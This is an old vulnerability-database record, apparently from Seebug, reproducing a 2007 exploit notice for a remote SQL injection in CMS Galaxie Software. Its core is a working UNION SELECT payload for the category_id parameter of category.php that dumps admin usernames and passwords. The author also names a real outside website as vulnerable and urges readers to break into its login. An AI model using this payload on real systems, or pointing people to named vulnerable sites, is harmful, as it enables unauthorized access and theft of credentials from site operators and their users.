Description
No description provided by source.
{"sourceData": "\n ###############################################################################################\r\n# ___ ___ _\r\n# / _ \\ / _ \\ | |\r\n# __ _| | | | | | |_ __ ___ _ __ ___| |_\r\n# / _` | | | | | | | '_ \\/ __| | '_ \\ / _ \\ __|\r\n# | (_| | |_| | |_| | | | \\__ \\_| | | | __/ |_\r\n# \\__, |\\___/ \\___/|_| |_|___(_)_| |_|\\___|\\__|\r\n# __/ |\r\n# |___/\r\n###############################################################################################\r\n#Program Title ################################################################################\r\n#CMS Galaxie Software - Remote SQL Injection\r\n#\r\n#Note #######################################################################################\r\n#Alright, bible.org is vuln to the sql injection.. but weird as it may seem the login doesnt work.. its a possiblility you can inject ur own username and password with sql injection, or maybe they are using another table name for the login page. good luck and give me shouts =)\r\n# \r\n#Script Website ##############################################################################\r\n#http://www.galaxie.com\r\n#\r\n######################################################################################\r\n#\r\n#Spl0it #########################################################################################\r\n#http://vicsite.com/[pathtowebapp]/category.php?scid=1&category_id=-99%20union%20all%20select%20null,concat(username,0x20,0x3a,0x20,userpass),0%20from%20admin/*\r\n#\r\n#vuln discovered by ###############################################################################\r\n#MurderSkillz\r\n#\r\n#shoutz: z3r0, fish, ScUzZ, clorox, SyNiCaL, pr0be, rezen, str0ke,\r\n#err0r, sick, trintitty, asdfhacks.com , a59, fury, <S>, communized and everyone else at g00ns.net\r\n###############################################################################################\n ", "status": "poc", "description": "No description provided by source.", "sourceHref": "https://www.seebug.org/vuldb/ssvid-7612", "reporter": "Root", "href": "https://www.seebug.org/vuldb/ssvid-7612", "type": "seebug", "viewCount": 2, "references": [], "lastseen": "2017-11-19T21:53:33", "published": "2007-12-14T00:00:00", "cvelist": [], "id": "SSV:7612", "enchantments_done": [], "modified": "2007-12-14T00:00:00", "title": "CMS Galaxie Software (category_id) Remote SQL Injection Vulnerability", "cvss": {"score": 0.0, "vector": "NONE"}, "bulletinFamily": "exploit", "enchantments": {"score": {"value": 0.7, "vector": "NONE"}, "dependencies": {}, "backreferences": {}, "exploitation": null, "vulnersScore": 0.7}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645283968}}
{}
CMS Galaxie Software (category_id) Remote SQL Injection Vulnerability